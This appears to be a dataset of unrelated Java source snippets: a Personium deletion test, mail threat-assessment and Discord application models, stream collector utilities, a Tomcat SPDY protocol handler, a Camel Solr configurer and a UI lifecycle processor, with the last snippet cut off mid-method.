PersoniumCoreException expected = PersoniumCoreException.Misc.PRECONDITION_FAILED.params(
PersoniumCoreUtils.HttpHeaders.X_PERSONIUM_RECURSIVE);
checkErrorResponseBody(response, expected.getCode(), expected.getMessage());
} finally {
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, -1);
}
}
/**
* Error test.
* X-Personium-Recursive not exists.
*/
@Test
public void error_recursive_header_not_exists() {
String cellName = Setup.TEST_CELL1;
String boxName = "BoxBulkDeletionTestBox";
try {
// ---------------
// Preparation
// ---------------
BoxUtils.create(cellName, boxName, MASTER_TOKEN_NAME, HttpStatus.SC_CREATED);
// ---------------
// Execution
// ---------------
// This txt is used only for this test, so do not convert it to UtilMethod.
TResponse response = Http.request("cell/box-bulk-delete-non-recursive-header.txt")
.with("cellName", cellName)
.with("boxName", boxName)
.with("token", MASTER_TOKEN_NAME)
.returns()
.statusCode(HttpStatus.SC_PRECONDITION_FAILED);
// ---------------
// Verification
// ---------------
BoxUtils.get(cellName, MASTER_TOKEN_NAME, boxName, HttpStatus.SC_OK);
PersoniumCoreException expected = PersoniumCoreException.Misc.PRECONDITION_FAILED.params(
PersoniumCoreUtils.HttpHeaders.X_PERSONIUM_RECURSIVE);
checkErrorResponseBody(response, expected.getCode(), expected.getMessage());
} finally {
BoxUtils.deleteRecursive(cellName, boxName, MASTER_TOKEN_NAME, -1);
}
}
}
|
Java
|
public class Main implements SomeInnerInterface {
private SomeClass someClass;
public Main() {
this.init();
}
public static void main(String[] args) {
System.out.println("Starting tcb.pr0x79.program!\n");
new Main();
}
private void init() {
this.someClass = new SomeClassBody().create("Hello World!");
this.someClass.print("Testing input value");
System.out.println("INNER CLASS: " + Type.getType(SomeClass.class).getInternalName());
Type type = Type.getType(Integer.class);
System.out.println("INTEGER SORT: " + type.getSort());
}
interface ArrItf {
}
public static class MainSubClass extends Main {
}
static class ArrTest implements ArrItf {
}
}
|
Java
|
public class MailAssessmentRequest extends ThreatAssessmentRequest implements IJsonBackedObject {
/**
* The Destination Routing Reason.
* The reason for mail routed to its destination. Possible values are: none, mailFlowRule, safeSender, blockedSender, advancedSpamFiltering, domainAllowList, domainBlockList, notInAddressBook, firstTimeSender, autoPurgeToInbox, autoPurgeToJunk, autoPurgeToDeleted, outbound, notJunk, junk.
*/
@SerializedName("destinationRoutingReason")
@Expose
public MailDestinationRoutingReason destinationRoutingReason;
/**
* The Message Uri.
* The resource URI of the mail message for assessment.
*/
@SerializedName("messageUri")
@Expose
public String messageUri;
/**
* The Recipient Email.
* The mail recipient whose policies are used to assess the mail.
*/
@SerializedName("recipientEmail")
@Expose
public String recipientEmail;
/**
* The raw representation of this class
*/
private JsonObject rawObject;
/**
* The serializer
*/
private ISerializer serializer;
/**
* Gets the raw representation of this class
*
* @return the raw representation of this class
*/
public JsonObject getRawObject() {
return rawObject;
}
/**
* Gets serializer
*
* @return the serializer
*/
protected ISerializer getSerializer() {
return serializer;
}
/**
* Sets the raw JSON object
*
* @param serializer the serializer
* @param json the JSON object to set this object to
*/
public void setRawObject(final ISerializer serializer, final JsonObject json) {
this.serializer = serializer;
rawObject = json;
}
}
|
Java
|
public class WhatisticsBackend {
private static Injector injector;
public static final Random rand = new Random();
public static final TypedProperties globalProperties = new TypedProperties();
public static void main(String[] args) {
try {
globalProperties.load(WhatisticsBackend.class.getClassLoader().getResourceAsStream("global.properties"));
globalProperties.load(WhatisticsBackend.class.getClassLoader().getResourceAsStream("password.properties"));
// read environment
if (args.length == 0 || args[0].equals("dev")) {
// fall back to dev
globalProperties.load(WhatisticsBackend.class.getClassLoader().getResourceAsStream("dev.properties"));
} else if (args[0].equals("prod") || args[0].equals("test")) {
globalProperties.load(WhatisticsBackend.class.getClassLoader().getResourceAsStream("test.properties"));
} else {
System.err.println("Invalid command line parameter:" + args[0]);
System.exit(-1);
}
} catch (IOException e) {
System.err.println("Error reading properties files");
e.printStackTrace();
System.exit(-1);
}
//initialize logger
System.getProperties().setProperty("org.slf4j.simpleLogger.logFile", globalProperties.getProperty("logFile"));
System.getProperties().setProperty("org.slf4j.simpleLogger.defaultLogLevel", globalProperties.getProperty("defaultLogLevel"));
System.getProperties().setProperty("org.slf4j.simpleLogger.showDateTime", globalProperties.getProperty("showDateTime"));
final Logger logger = LoggerFactory.getLogger(WhatisticsBackend.class);
injector = Guice.createInjector(new MailModule(),
new ParserModule(),
new DataAccessLayerModule(),
new WhatisticsModule(),
new RestModule(),
new StatisticsModule());
WhatisticsService whatisticsService = injector.getInstance(WhatisticsService.class);
whatisticsService.start();
}
public static Injector getInjector() {
return injector;
}
}
|
Java
|
public final class CollectorUtil {
private static final String NULL_TEXT = " must not be null";
@SafeVarargs
@SuppressWarnings({"unchecked", "varargs"})
public static <T> T of(Supplier<T> supplier, Consumer<T> modifier, Consumer<T>... additionalModifiers) {
requireNonNull(supplier, "supplier" + NULL_TEXT);
requireNonNull(modifier, "modifier" + NULL_TEXT);
requireNonNullElements(additionalModifiers, "additionalModifiers" + NULL_TEXT);
final T result = supplier.get();
modifier.accept(result);
Stream.of(additionalModifiers).forEach((Consumer<T> c) -> {
c.accept(result);
});
return result;
}
public static <I, T> T of(Supplier<I> supplier, Consumer<I> modifier, Function<I, T> finisher) {
Objects.requireNonNull(supplier, "supplier" + NULL_TEXT);
Objects.requireNonNull(modifier, "modifier" + NULL_TEXT);
Objects.requireNonNull(finisher, "finisher" + NULL_TEXT);
final I intermediateResult = supplier.get();
modifier.accept(intermediateResult);
return finisher.apply(intermediateResult);
}
public static <T> Collector<T, Set<T>, Set<T>> toUnmodifiableSet() {
return Collector.of(HashSet::new, Set::add, (left, right) -> {
left.addAll(right);
return left;
}, Collections::unmodifiableSet, Collector.Characteristics.UNORDERED);
}
public static <T> Collector<T, ?, List<T>> toReversedList() {
return Collectors.collectingAndThen(Collectors.toList(), l -> {
Collections.<T>reverse(l);
return l;
});
}
@SafeVarargs
@SuppressWarnings({"unchecked", "varargs"})
public static <T> Set<T> unmodifiableSetOf(T... items) {
requireNonNullElements(items);
return Stream.of(items).collect(toUnmodifiableSet());
}
/**
* Similar to the
* {@link java.util.stream.Collectors#joining(java.lang.CharSequence, java.lang.CharSequence, java.lang.CharSequence) }
* method except that this method surrounds the result with the specified
* {@code prefix} and {@code suffix} even if the stream is empty.
*
* @param delimiter the delimiter to separate the strings
* @param prefix the prefix to put before the result
* @param suffix the suffix to put after the result
* @return a collector for joining string elements
*/
public static Collector<String, ?, String> joinIfNotEmpty(String delimiter, String prefix, String suffix) {
return new CollectorImpl<>(
() -> new StringJoiner(delimiter),
StringJoiner::add,
StringJoiner::merge,
s -> s.length() > 0
? prefix + s + suffix
: s.toString(),
Collections.emptySet()
);
}
/**
* Returns the specified string wrapped as an Optional. If the string was
* null or empty, the Optional will be empty.
*
* @param str the string to wrap
* @return the string wrapped as an optional
*/
public static Optional<String> ifEmpty(String str) {
return Optional.ofNullable(str).filter(s -> !s.isEmpty());
}
/**
* Returns a new {@link MapStream} where the elements have been grouped
* together using the specified function.
*
* @param <T> the stream element type
* @param <C> the type of the key to group by
* @param grouper the function to use for grouping
* @return a {@link MapStream} grouped by key
*/
public static <T, C> Collector<T, ?, MapStream<C, List<T>>> groupBy(Function<T, C> grouper) {
return new CollectorImpl<>(
() -> new GroupHolder<>(grouper),
GroupHolder::add,
GroupHolder::merge,
GroupHolder::finisher,
Collections.emptySet()
);
}
private static class GroupHolder<C, T> {
private final Function<T, C> grouper;
private final Map<C, List<T>> elements;
private final Function<C, List<T>> createList = c -> new ArrayList<>();
public GroupHolder(Function<T, C> grouper) {
this.grouper = grouper;
this.elements = new HashMap<>();
}
public void add(T element) {
final C key = grouper.apply(element);
elements.computeIfAbsent(key, createList)
.add(element);
}
public GroupHolder<C, T> merge(GroupHolder<C, T> holder) {
holder.elements.entrySet().forEach(e
-> elements.computeIfAbsent(e.getKey(), createList)
.addAll(e.getValue())
);
return this;
}
public MapStream<C, List<T>> finisher() {
return MapStream.of(elements);
}
}
/**
* Simple implementation class for {@code Collector}.
*
* @param <T> the type of elements to be collected
* @param <A> the type of the intermediate holder
* @param <R> the type of the result
*/
static class CollectorImpl<T, A, R> implements Collector<T, A, R> {
private final Supplier<A> supplier;
private final BiConsumer<A, T> accumulator;
private final BinaryOperator<A> combiner;
private final Function<A, R> finisher;
private final Set<Collector.Characteristics> characteristics;
CollectorImpl(Supplier<A> supplier,
BiConsumer<A, T> accumulator,
BinaryOperator<A> combiner,
Function<A, R> finisher,
Set<Collector.Characteristics> characteristics) {
this.supplier = supplier;
this.accumulator = accumulator;
this.combiner = combiner;
this.finisher = finisher;
this.characteristics = characteristics;
}
@SuppressWarnings("unchecked")
CollectorImpl(Supplier<A> supplier,
BiConsumer<A, T> accumulator,
BinaryOperator<A> combiner,
Set<Collector.Characteristics> characteristics) {
this(supplier, accumulator, combiner, i -> (R) i, characteristics);
}
@Override
public BiConsumer<A, T> accumulator() {
return accumulator;
}
@Override
public Supplier<A> supplier() {
return supplier;
}
@Override
public BinaryOperator<A> combiner() {
return combiner;
}
@Override
public Function<A, R> finisher() {
return finisher;
}
@Override
public Set<Collector.Characteristics> characteristics() {
return characteristics;
}
}
/**
* Utility classes should not be instantiated.
*/
private CollectorUtil() {
instanceNotAllowed(getClass());
}
}
|
Java
|
static class CollectorImpl<T, A, R> implements Collector<T, A, R> {
private final Supplier<A> supplier;
private final BiConsumer<A, T> accumulator;
private final BinaryOperator<A> combiner;
private final Function<A, R> finisher;
private final Set<Collector.Characteristics> characteristics;
CollectorImpl(Supplier<A> supplier,
BiConsumer<A, T> accumulator,
BinaryOperator<A> combiner,
Function<A, R> finisher,
Set<Collector.Characteristics> characteristics) {
this.supplier = supplier;
this.accumulator = accumulator;
this.combiner = combiner;
this.finisher = finisher;
this.characteristics = characteristics;
}
@SuppressWarnings("unchecked")
CollectorImpl(Supplier<A> supplier,
BiConsumer<A, T> accumulator,
BinaryOperator<A> combiner,
Set<Collector.Characteristics> characteristics) {
this(supplier, accumulator, combiner, i -> (R) i, characteristics);
}
@Override
public BiConsumer<A, T> accumulator() {
return accumulator;
}
@Override
public Supplier<A> supplier() {
return supplier;
}
@Override
public BinaryOperator<A> combiner() {
return combiner;
}
@Override
public Function<A, R> finisher() {
return finisher;
}
@Override
public Set<Collector.Characteristics> characteristics() {
return characteristics;
}
}
|
Java
|
public class SpdyProxyProtocol extends AbstractProtocol<NioChannel> {
private static final Log log = LogFactory.getLog(SpdyProxyProtocol.class);
private SpdyContext spdyContext;
private boolean compress = false;
public SpdyProxyProtocol() {
super(new NioEndpoint());
NioEndpoint.Handler cHandler = new TomcatNioHandler();
((NioEndpoint) getEndpoint()).setHandler(cHandler);
setSoTimeout(Constants.DEFAULT_CONNECTION_TIMEOUT);
}
@Override
protected Log getLog() {
return log;
}
@Override
protected String getNamePrefix() {
return "spdy2-nio";
}
@Override
protected String getProtocolName() {
return "spdy2";
}
@Override
public void start() throws Exception {
super.start();
spdyContext = new SpdyContext();
spdyContext.setTlsCompression(false, compress);
spdyContext.setHandler(new SpdyHandler() {
@Override
public void onStream(SpdyConnection con, SpdyStream ch) throws IOException {
SpdyProcessor sp = new SpdyProcessor(con, getEndpoint());
sp.setAdapter(getAdapter());
sp.onSynStream(ch);
}
});
spdyContext.setNetSupport(new NetSupportSocket());
spdyContext.setExecutor(getEndpoint().getExecutor());
}
public boolean isCompress() {
return compress;
}
public void setCompress(boolean compress) {
this.compress = compress;
}
public class TomcatNioHandler implements NioEndpoint.Handler {
@Override
public Object getGlobal() {
return null;
}
@Override
public void recycle() {
}
@Override
public SocketState process(SocketWrapperBase<NioChannel> socket,
SocketStatus status) {
spdyContext.getNetSupport().onAccept(socket.getSocket());
return SocketState.CLOSED;
}
@Override
public void release(SocketWrapperBase<NioChannel> socket) {
// TODO Auto-generated method stub
}
@Override
public void release(SocketChannel socket) {
// TODO Auto-generated method stub
}
}
@Override
protected UpgradeProtocol getNegotiatedProtocol(String name) {
// TODO Auto-generated method stub
return null;
}
}
|
Java
|
public abstract class RtSimSolverBuilder {
RtSimSolverBuilder() {}
/**
* Associates the specified vehicles to all {@link RtSimSolver}s that are
* built by this builder. By default, all vehicles in the simulator are
* associated to
* @param vehicles The set of vehicles that will be associated to
* {@link RtSimSolver} instances. May not be empty.
* @return This, as per the builder pattern.
*/
public abstract RtSimSolverBuilder setVehicles(
Set<? extends Vehicle> vehicles);
/**
* Construct a new {@link RtSimSolver} based on the specified
* {@link RealtimeSolver}.
* @param solver The solver to use internally in the {@link RtSimSolver}.
* @return A new {@link RtSimSolver} instance.
*/
public abstract RtSimSolver build(RealtimeSolver solver);
/**
* Construct a new {@link RtSimSolver} based on the specified {@link Solver}.
* The specified {@link Solver} is converted to a {@link RealtimeSolver} using
* {@link RtStAdapters#toRealtime(Solver)}.
* @param solver The solver to use internally in the {@link RtSimSolver}.
* @return A new {@link RtSimSolver} instance.
*/
public abstract RtSimSolver build(Solver solver);
}
|
Java
|
@SuppressWarnings("unchecked")
public class SolrEndpointConfigurer extends PropertyConfigurerSupport implements GeneratedPropertyConfigurer {
@Override
public boolean configure(CamelContext camelContext, Object obj, String name, Object value, boolean ignoreCase) {
SolrEndpoint target = (SolrEndpoint) obj;
switch (ignoreCase ? name.toLowerCase() : name) {
case "allowcompression":
case "allowCompression": target.setAllowCompression(property(camelContext, java.lang.Boolean.class, value)); return true;
case "connectiontimeout":
case "connectionTimeout": target.setConnectionTimeout(property(camelContext, java.lang.Integer.class, value)); return true;
case "defaultmaxconnectionsperhost":
case "defaultMaxConnectionsPerHost": target.setDefaultMaxConnectionsPerHost(property(camelContext, java.lang.Integer.class, value)); return true;
case "followredirects":
case "followRedirects": target.setFollowRedirects(property(camelContext, java.lang.Boolean.class, value)); return true;
case "lazystartproducer":
case "lazyStartProducer": target.setLazyStartProducer(property(camelContext, boolean.class, value)); return true;
case "maxretries":
case "maxRetries": target.setMaxRetries(property(camelContext, java.lang.Integer.class, value)); return true;
case "maxtotalconnections":
case "maxTotalConnections": target.setMaxTotalConnections(property(camelContext, java.lang.Integer.class, value)); return true;
case "requesthandler":
case "requestHandler": target.setRequestHandler(property(camelContext, java.lang.String.class, value)); return true;
case "sotimeout":
case "soTimeout": target.setSoTimeout(property(camelContext, java.lang.Integer.class, value)); return true;
case "streamingqueuesize":
case "streamingQueueSize": target.setStreamingQueueSize(property(camelContext, int.class, value)); return true;
case "streamingthreadcount":
case "streamingThreadCount": target.setStreamingThreadCount(property(camelContext, int.class, value)); return true;
case "basicpropertybinding":
case "basicPropertyBinding": target.setBasicPropertyBinding(property(camelContext, boolean.class, value)); return true;
case "synchronous": target.setSynchronous(property(camelContext, boolean.class, value)); return true;
case "password": target.setPassword(property(camelContext, java.lang.String.class, value)); return true;
case "username": target.setUsername(property(camelContext, java.lang.String.class, value)); return true;
case "collection": target.setCollection(property(camelContext, java.lang.String.class, value)); return true;
case "zkhost":
case "zkHost": target.setZkHost(property(camelContext, java.lang.String.class, value)); return true;
default: return false;
}
}
}
|
Java
|
public class SynchronousViewLifecycleProcessor extends ViewLifecycleProcessorBase {
private static final Logger LOG = Logger.getLogger(SynchronousViewLifecycleProcessor.class);
// pending lifecycle phases.
private final Deque<ViewLifecyclePhase> pendingPhases = new LinkedList<ViewLifecyclePhase>();
// the phase currently active on this lifecycle.
private ViewLifecyclePhase activePhase;
// the rendering context.
private LifecycleRenderingContext renderingContext;
// the expression evaluator to use with this lifecycle.
private final ExpressionEvaluator expressionEvaluator;
private static String getTracePath(ViewLifecyclePhase phase) {
Component parent = phase.getParent();
if (parent == null) {
return "";
} else {
return phase.getParent().getViewPath();
}
}
private static final class TraceNode {
private final String path;
private StringBuilder buffer = new StringBuilder();
private Set<String> childPaths = new LinkedHashSet<String>();
private TraceNode(ViewLifecyclePhase phase) {
path = getTracePath(phase);
}
private void startTrace(ViewLifecyclePhase phase) {
try {
LifecycleElement element = phase.getElement();
String parentPath = phase.getParentPath();
if (StringUtils.hasLength(parentPath)) {
childPaths.add(phase.getParentPath());
}
buffer.append('\n');
for (int i = 0; i < phase.getDepth(); i++) {
buffer.append(" ");
}
buffer.append(phase.getViewPath());
buffer.append(' ');
buffer.append(phase.getEndViewStatus());
buffer.append(' ');
buffer.append(element.getViewStatus());
buffer.append(' ');
buffer.append(element.isRender());
buffer.append(' ');
buffer.append(element.getClass().getSimpleName());
buffer.append(' ');
buffer.append(element.getId());
buffer.append(' ');
} catch (Throwable e) {
LOG.warn("Error tracing lifecycle", e);
}
}
private void finishTrace(long phaseStartTime, Throwable error) {
if (error == null) {
buffer.append(" done ");
} else {
buffer.append(" ERROR ");
}
buffer.append(ProcessLogger.intervalToString(System.currentTimeMillis() - phaseStartTime));
}
}
private final Map<String, TraceNode> trace = ViewLifecycle.isTrace() ? new HashMap<String, TraceNode>() : null;
private TraceNode getTraceNode(ViewLifecyclePhase phase) {
if (trace == null) {
return null;
}
String tracePath = getTracePath(phase);
TraceNode traceNode = trace.get(tracePath);
if (traceNode == null) {
traceNode = new TraceNode(phase);
trace.put(tracePath, traceNode);
}
return traceNode;
}
/**
* Creates a new synchronous processor for a lifecycle.
*
* @param lifecycle The lifecycle to process.
*/
public SynchronousViewLifecycleProcessor(ViewLifecycle lifecycle) {
super(lifecycle);
// The null conditions noted here should not happen in full configured environments
// Conditional fallback support is in place primary for unit testing.
ExpressionEvaluatorFactory expressionEvaluatorFactory;
if (lifecycle.helper == null) {
LOG.warn("No helper is defined for the view lifecycle, using global expression evaluation factory");
expressionEvaluatorFactory = KRADServiceLocatorWeb.getExpressionEvaluatorFactory();
} else {
expressionEvaluatorFactory = lifecycle.helper.getExpressionEvaluatorFactory();
}
if (expressionEvaluatorFactory == null) {
LOG.warn("No global expression evaluation factory is defined, using DefaultExpressionEvaluator");
expressionEvaluator = new DefaultExpressionEvaluator();
} else {
expressionEvaluator = expressionEvaluatorFactory.createExpressionEvaluator();
}
}
/**
* {@inheritDoc}
*/
@Override
public void offerPendingPhase(ViewLifecyclePhase pendingPhase) {
pendingPhases.offer(pendingPhase);
}
/**
* {@inheritDoc}
*/
@Override
public void pushPendingPhase(ViewLifecyclePhase phase) {
pendingPhases.push(phase);
}
/**
* {@inheritDoc}
*/
@Override
public void performPhase(ViewLifecyclePhase initialPhase) {
long startTime = System.currentTimeMillis();
TraceNode initialNode = getTraceNode(initialPhase);
offerPendingPhase(initialPhase);
while (!pendingPhases.isEmpty()) {
ViewLifecyclePhase pendingPhase = pendingPhases.poll();
long phaseStartTime = System.currentTimeMillis();
try {
if (trace != null) {
getTraceNode(pendingPhase).startTrace(pendingPhase);
}
pendingPhase.run();
if (trace != null) {
getTraceNode(pendingPhase).finishTrace(phaseStartTime, null);
}
} catch (Throwable e) {
if (trace != null) {
getTraceNode(pendingPhase).finishTrace(phaseStartTime, e);
}
if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else if (e instanceof Error) {
throw (Error) e;
} else {
throw new IllegalStateException(e);
}
}
}
if (trace != null) {
assert initialNode != null : initialPhase;
Deque<TraceNode> msgQueue = new LinkedList<TraceNode>();
StringBuilder msg = new StringBuilder();
msgQueue.push(initialNode);
while (!msgQueue.isEmpty()) {
TraceNode traceNode = msgQueue.pop();
assert traceNode != null : msg + " " + trace.keySet();
assert traceNode.buffer != null : traceNode.path;
msg.append(traceNode.buffer);
for (String childPath : traceNode.childPaths) {
TraceNode child = trace.get(traceNode.path + (traceNode.path.equals("") ? "" : ".") + childPath);
if (child != null) {
msgQueue.push(child);
}
}
}
LOG.info("Lifecycle phase processing completed in "
+ ProcessLogger.intervalToString(System.currentTimeMillis() - startTime) + msg);
trace.clear();
}
}
/**
* {@inheritDoc}
*/
@Override
public ViewLifecyclePhase getActivePhase() {
return activePhase;
}
/**
* {@inheritDoc}
*/
public LifecycleRenderingContext getRenderingContext() {
if (renderingContext == null && ViewLifecycle.isRenderInLifecycle()) {
ViewLifecycle lifecycle = getLifecycle();
this.renderingContext = new LifecycleRenderingContext(lifecycle.model, lifecycle.request);
}
return this.renderingContext;
}
/**
* {@inheritDoc}
*/
@Override
public ExpressionEvaluator getExpressionEvaluator() {
return this.expressionEvaluator;
}
/**
* {@inheritDoc}
*/
@Override
void setActivePhase(ViewLifecyclePhase phase) {
if (activePhase != null && phase != null) {
throw new IllegalStateException("Another phase is already active on this lifecycle thread " + activePhase);
}
activePhase = phase;
}
}
|
Java
|
public class Sine extends Command {
public Sine() {
super(1);
}
@Override
public double act(int index) {
double value = childValue(index);
if(value % 180 == 0)
return 0;
return Math.sin(Math.toRadians(value));
}
}
|
Java
|
public class Application implements ApplicationAbstract, Datable, HasLApi {
public static final String ID_KEY = "id";
public static final String NAME_KEY = "name";
public static final String ICON_KEY = "icon";
public static final String DESCRIPTION_KEY = "description";
public static final String RPC_ORIGINS_KEY = "rpc_origins";
public static final String BOT_PUBLIC_KEY = "bot_public";
public static final String BOT_REQUIRE_CODE_GRANT_KEY = "bot_require_code_grant";
public static final String TERMS_OF_SERVICE_URL_KEY = "terms_of_service_url?";
public static final String PRIVACY_POLICY_URL_KEY = "privacy_policy_url";
public static final String OWNER_KEY = "owner";
public static final String SUMMARY_KEY = "summary";
public static final String VERIFY_KEY_KEY = "verify_key";
public static final String TEAM_KEY = "team";
public static final String GUILD_ID_KEY = "guild_id";
public static final String PRIMARY_SKU_ID_KEY = "primary_sku_id";
public static final String SLUG_KEY = "slug";
public static final String COVER_IMAGE_KEY = "cover_image";
public static final String FLAGS_KEY = "flags";
private final @NotNull Snowflake id;
private final @NotNull String name;
private final @Nullable String icon;
private final @NotNull String description;
private final @Nullable String[] rpcOrigins;
private final boolean botPublic;
private final boolean botRequireCodeGrant;
private final @Nullable String termsOfServiceUrl;
private final @Nullable String privacyPolicyUrl;
private final @Nullable User owner;
private final @NotNull String summary;
private final @NotNull String verifyKey;
private final @Nullable Team team;
private final @Nullable Snowflake guildId;
private final @Nullable Snowflake primarySkuId;
private final @Nullable String slug;
private final @Nullable String coverImage;
private final @Nullable Integer flags;
private final @Nullable ApplicationFlag[] flagsArray;
private final @NotNull LApi lApi;
/**
*
* @param id the id of the app
* @param name the name of the app
* @param icon the icon hash of the app
* @param description the description of the app
* @param rpcOrigins an array of rpc origin urls, if rpc is enabled
* @param botPublic when false only app owner can join the app's bot to guilds
* @param botRequireCodeGrant when true the app's bot will only join upon completion of the full oauth2 code grant flow
* @param termsOfServiceUrl the url of the app's terms of service
* @param privacyPolicyUrl the url of the app's privacy policy
* @param owner partial user object containing info on the owner of the application
* @param summary if this application is a game sold on Discord, this field will be the summary field for the store page of its primary sku
* @param verifyKey the hex encoded key for verification in interactions and the GameSDK's GetTicket
* @param team if the application belongs to a team, this will be a list of the members of that team
* @param guildId if this application is a game sold on Discord, this field will be the guild to which it has been linked
* @param primarySkuId if this application is a game sold on Discord, this field will be the id of the "Game SKU" that is created, if exists
* @param slug if this application is a game sold on Discord, this field will be the URL slug that links to the store page
* @param coverImage the application's default rich presence invite cover image hash
* @param flags the application's public flags
*/
public Application(@NotNull LApi lApi, @NotNull Snowflake id, @NotNull String name, @Nullable String icon, @NotNull String description, @Nullable String[] rpcOrigins,
boolean botPublic, boolean botRequireCodeGrant, @Nullable String termsOfServiceUrl, @Nullable String privacyPolicyUrl,
@Nullable User owner, @NotNull String summary, @NotNull String verifyKey, @Nullable Team team, @Nullable Snowflake guildId,
@Nullable Snowflake primarySkuId, @Nullable String slug, @Nullable String coverImage, @Nullable Integer flags){
this.lApi = lApi;
this.id = id;
this.name = name;
this.icon = icon;
this.description = description;
this.rpcOrigins = rpcOrigins;
this.botPublic = botPublic;
this.botRequireCodeGrant = botRequireCodeGrant;
this.termsOfServiceUrl = termsOfServiceUrl;
this.privacyPolicyUrl = privacyPolicyUrl;
this.owner = owner;
this.summary = summary;
this.verifyKey = verifyKey;
this.team = team;
this.guildId = guildId;
this.primarySkuId = primarySkuId;
this.slug = slug;
this.coverImage = coverImage;
this.flags = flags;
this.flagsArray = flags == null ? null : ApplicationFlag.getFlagsFromInteger(flags);
}
/**
*
* @param data with required fields
* @return {@link Application} or {@code null} if data was {@code null}
* @throws InvalidDataException if (id == null || name == null || description == null || botPublic == null || botRequireCodeGrant == null || summary == null || verifyKey == null) == true
*/
public static @Nullable Application fromData(@NotNull LApi lApi, @Nullable SOData data) throws InvalidDataException {
if(data == null) return null;
String id = (String) data.get(ID_KEY);
String name = (String) data.get(NAME_KEY);
String icon = (String) data.get(ICON_KEY);
String description = (String) data.get(DESCRIPTION_KEY);
List<Object> rpcOriginsList = data.getList(RPC_ORIGINS_KEY);
Boolean botPublic = (Boolean) data.get(BOT_PUBLIC_KEY);
Boolean botRequireCodeGrant = (Boolean) data.get(BOT_REQUIRE_CODE_GRANT_KEY);
String tosUrl = (String) data.get(TERMS_OF_SERVICE_URL_KEY);
String ppUrl = (String) data.get(PRIVACY_POLICY_URL_KEY);
SOData ownerData = (SOData) data.get(OWNER_KEY);
String summary = (String) data.get(SUMMARY_KEY);
String verifyKey = (String) data.get(VERIFY_KEY_KEY);
SOData teamData = (SOData) data.get(TEAM_KEY);
String guildId = (String) data.get(GUILD_ID_KEY);
String primarySkuId = (String) data.get(PRIMARY_SKU_ID_KEY);
String slug = (String) data.get(SLUG_KEY);
String coverImage = (String) data.get(COVER_IMAGE_KEY);
Number flags = (Number) data.get(FLAGS_KEY);
if(id == null || name == null || description == null || botPublic == null || botRequireCodeGrant == null || summary == null || verifyKey == null){
InvalidDataException exception = new InvalidDataException(data, "Cannot create " + Application.class.getSimpleName());
if(id == null) exception.addMissingFields(ID_KEY);
if(name == null) exception.addMissingFields(NAME_KEY);
if(description == null) exception.addMissingFields(DESCRIPTION_KEY);
if(botPublic == null) exception.addMissingFields(BOT_PUBLIC_KEY);
if(botRequireCodeGrant == null) exception.addMissingFields(BOT_REQUIRE_CODE_GRANT_KEY);
if(summary == null) exception.addMissingFields(SUMMARY_KEY);
if(verifyKey == null) exception.addMissingFields(VERIFY_KEY_KEY);
throw exception;
}
String[] rpcOrigins = null;
if(rpcOriginsList != null){
rpcOrigins = new String[rpcOriginsList.size()];
int i = 0;
for(Object o : rpcOriginsList){
rpcOrigins[i++] = (String) o;
}
}
return new Application(lApi, Snowflake.fromString(id), name, icon, description, rpcOrigins, botPublic, botRequireCodeGrant, tosUrl, ppUrl,
ownerData == null ? null : User.fromData(lApi, ownerData), summary, verifyKey, teamData == null ? null : Team.fromData(lApi, teamData),
Snowflake.fromString(guildId), Snowflake.fromString(primarySkuId), slug, coverImage, flags == null ? null : flags.intValue());
}
/**
* the id as {@link Snowflake} of the app
*/
@Override
public @NotNull Snowflake getIdAsSnowflake() {
return id;
}
/**
* the name of the app
*/
public @NotNull String getName() {
return name;
}
/**
* the icon hash of the app
*/
public @Nullable String getIcon() {
return icon;
}
/**
* the description of the app
*/
public @NotNull String getDescription() {
return description;
}
/**
* an array of rpc origin urls, if rpc is enabled
*/
public @Nullable String[] getRpcOrigins() {
return rpcOrigins;
}
/**
* when false only app owner can join the app's bot to guilds
*/
public boolean isBotPublic() {
return botPublic;
}
/**
* when true the app's bot will only join upon completion of the full oauth2 code grant flow
*/
public boolean isBotRequireCodeGrant() {
return botRequireCodeGrant;
}
/**
* the url of the app's terms of service
*/
public @Nullable String getTermsOfServiceUrl() {
return termsOfServiceUrl;
}
/**
* the url of the app's privacy policy
*/
public @Nullable String getPrivacyPolicyUrl() {
return privacyPolicyUrl;
}
/**
* partial user object containing info on the owner of the application
*/
public @Nullable User getOwner() {
return owner;
}
/**
* if this application is a game sold on Discord, this field will be the summary field for the store page of its primary sku
*/
public @NotNull String getSummary() {
return summary;
}
/**
* the hex encoded key for verification in interactions and the GameSDK's GetTicket
*/
public @NotNull String getVerifyKey() {
return verifyKey;
}
/**
* if the application belongs to a team, this will be a list of the members of that team
*/
public @Nullable Team getTeam() {
return team;
}
/**
* if this application is a game sold on Discord, this field will be the guild id as {@link Snowflake} to which it has been linked
*/
public @Nullable Snowflake getGuildIdAsSnowflake() {
return guildId;
}
/**
* if this application is a game sold on Discord, this field will be the guild id as {@link String} to which it has been linked
*/
public @Nullable String getGuildId() {
return guildId == null ? null : guildId.asString();
}
/**
* if this application is a game sold on Discord, this field will be the id as {@link Snowflake} of the "Game SKU" that is created, if exists
*/
public @Nullable Snowflake getPrimarySkuIdAsSnowflake() {
return primarySkuId;
}
/**
* if this application is a game sold on Discord, this field will be the id as {@link String} of the "Game SKU" that is created, if exists
*/
public @Nullable String getPrimarySkuId() {
return primarySkuId == null ? null : primarySkuId.asString();
}
/**
* if this application is a game sold on Discord, this field will be the URL slug that links to the store page
*/
public @Nullable String getSlug() {
return slug;
}
/**
* the application's default rich presence invite cover image hash
*/
public @Nullable String getCoverImage() {
return coverImage;
}
/**
* the application's public flags
* @see #getFlagsArray()
*/
public @Nullable Integer getFlags() {
return flags;
}
/**
* the application's public flags
* @see ApplicationFlag
*/
public ApplicationFlag[] getFlagsArray() {
return flagsArray;
}
@Override
public @NotNull SOData getData() {
SOData data = SOData.newOrderedDataWithKnownSize(17);
data.add(ID_KEY, id);
data.add(NAME_KEY, name);
if(icon != null) data.add(ICON_KEY, icon);
data.add(DESCRIPTION_KEY, description);
if(rpcOrigins != null) data.add(RPC_ORIGINS_KEY, rpcOrigins);
data.add(BOT_PUBLIC_KEY, botPublic);
data.add(BOT_REQUIRE_CODE_GRANT_KEY, botRequireCodeGrant);
if(termsOfServiceUrl != null) data.add(TERMS_OF_SERVICE_URL_KEY, termsOfServiceUrl);
if(privacyPolicyUrl != null) data.add(PRIVACY_POLICY_URL_KEY, privacyPolicyUrl);
if(owner != null) data.add(OWNER_KEY, owner);
data.add(SUMMARY_KEY, summary);
